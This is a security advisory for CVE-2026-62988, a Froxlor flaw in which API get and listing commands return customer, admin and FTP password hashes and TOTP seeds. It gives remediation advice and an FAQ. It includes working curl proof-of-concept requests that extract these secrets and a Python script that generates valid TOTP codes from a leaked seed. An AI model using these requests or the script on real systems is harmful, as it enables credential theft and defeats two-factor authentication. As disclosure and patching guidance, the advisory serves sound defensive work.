CVE-2026-62988: Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints
Summary
Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT , SELECT alias., or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.
The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.
This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.
Details
The affected API classes retrieve entire database rows and return them without filtering sensitive fields:
lib/Froxlor/Api/Commands/Customers.php
Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:
password type2fa data2fa
When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.
The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.
lib/Froxlor/Api/Commands/Admins.php
Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:
password type2fa data2fa
When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.
These fields are not stripped before returning the API response.
lib/Froxlor/Api/Commands/Ftps.php
Ftps.get() and Ftps.listing() return FTP user rows containing:
password
The password field is not stripped before returning the API response.
This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.
Proof of Concept
Preconditions
Froxlor API is enabled. A valid API key and secret exist for an account allowed to call the affected API endpoints. At least one customer or administrator account exists with TOTP 2FA enabled. For Admins., the API account must have the required permission to call the affected administrator endpoint.
Set variables:
bash export FROXLORBASE='https://froxlor.example.com' export APIKEY='<apikey>' export APISECRET='<apisecret>'
PoC 1: Customer password hash and TOTP seed exposure
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type2fa, data2fa, email}'
Example vulnerable response:
json { "customerid": 1, "loginname": "customer1", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED", "email": "customer@example.com" }
The same issue can be verified with Customers.get:
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Customers.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"
PoC 2: Administrator password hash and TOTP seed exposure
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type2fa, data2fa}'
Example vulnerable response:
json { "adminid": 1, "loginname": "admin", "password": "$2y$12$REDACTEDHASHVALUE...", "type2fa": 2, "data2fa": "REDACTEDBASE32TOTPSEED" }
The same issue can be verified with Admins.get:
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Admins.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"
PoC 3: FTP password hash exposure
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.listing","params":{}}' \ "$FROXLORBASE/api.php" | jq '.data.list[] | {id, username, password}'
Example vulnerable response:
json { "id": 1, "username": "customer1", "password": "$2y$12$REDACTEDHASHVALUE..." }
The same issue can be verified with Ftps.get:
bash curl -k -sS -u "$APIKEY:$APISECRET" \ -H 'Content-Type: application/json' \ -X POST \ -d '{"command":"Ftps.get","params":{"id":1}}' \ "$FROXLORBASE/api.php"
PoC 4: Generate a valid TOTP code from the exposed seed
If type2fa = 2, the exposed data2fa value can be used to generate valid TOTP codes for the affected account.
bash export TOTPSEED='<base32totpseedfromdata2fa>'
python3 - <<'PY' import base64 import hashlib import hmac import os import struct import time
seed = os.environ["TOTPSEED"].replace(" ", "").upper() key = base64.b32decode(seed + "=" ((8 - len(seed) % 8) % 8))
counter = int(time.time() // 30) msg = struct.pack(">Q", counter)
digest = hmac.new(key, msg, hashlib.sha1).digest() offset = digest[-1] & 0x0F code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff
print(str(code % 1000000).zfill(6)) PY
The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.
Expected behavior
API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.
At minimum, the following fields should be omitted or redacted before returning API responses:
password data2fa any future credential-equivalent secret fields
Impact
An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.
For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.
For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data2fa therefore weakens or bypasses the second authentication factor for affected accounts.
The combined impact is especially severe when both password and data2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.
Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.
Remediation
API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data2fa should never be included in normal get or listing responses.
As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.
As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.
Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data2fa values may have been returned through vulnerable API responses.
Other sources
Froxlor is open source server administration software. From 2.3.7 until 2.3.8, the Customers.get, Customers.listing, Admins.get, Admins.listing, Ftps.get, and Ftps.listing API commands in lib/Froxlor/Api/Commands/Customers.php, lib/Froxlor/Api/Commands/Admins.php, and lib/Froxlor/Api/Commands/Ftps.php retrieve full database rows and return them without removing password and data2fa fields. An authenticated API caller with permission to use these endpoints can obtain customer, administrator, and FTP password hashes as well as Base32-encoded TOTP seeds for administrator and customer accounts. Password hashes can be cracked offline, and TOTP seeds can generate valid second-factor codes until two-factor authentication is reset. Exposure of both values for an account can enable takeover of the hosting panel or hosted resources and can defeat both authentication factors. This issue is fixed in version 2.3.8.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/froxlor/froxlorto a version that resolves this vulnerability.Fixed in 2.3.8 - Upgrade
Upgrade
Froxlorto a version that resolves this vulnerability.Fixed in 2.3.8 - Configuration
Implement allowlist-based response serialization for Froxlor API endpoints so that Admins.get/listing, Customers.get/listing, and Ftps.get/listing never return sensitive authentication material. Specifically, remove/redact fields named `password` and `data_2fa` (TOTP seed; Base32 when `type_2fa = 2`) from results before calling `$this->response(...)` (whether via `$this->response($result)` or `$this->response(['list' => $result])`).
Froxlor API command classes (lib/Froxlor/Api/Commands/Admins.php, Customers.php, Ftps.php) API response field filtering = Omit/redact credential-equivalent fields in normal get/listing responses (at minimum: password hashes and data_2fa/TOTP seeds) - Operational
Because `data_2fa` may have been exposed via vulnerable Admins/Customers API responses, require 2FA reset and/or rotation for any accounts whose `data_2fa` values may have been returned.
Event History
Frequently Asked Questions
Which versions are affected and which version contains the fix?
Froxlor versions from 2.3.7 up to, but not including, 2.3.8 are affected. The issue is fixed in version 2.3.8.
What level of access is required to exploit this issue?
An attacker needs to be an authenticated API caller and have permission to invoke the affected Customers, Admins, or Ftps get or listing commands. The issue does not describe unauthenticated access.
What sensitive data may have been exposed?
The affected endpoints can expose customer, administrator, and FTP password hashes, along with Base32-encoded TOTP seeds for customer and administrator accounts. Hashes may be cracked offline, while exposed TOTP seeds can be used to generate valid second-factor codes until 2FA is reset.
What remediation is indicated if credentials or 2FA data may have been accessed?
Upgrade to version 2.3.8. If exposure may have occurred, reset two-factor authentication for affected customer and administrator accounts and treat exposed password hashes as potentially crackable.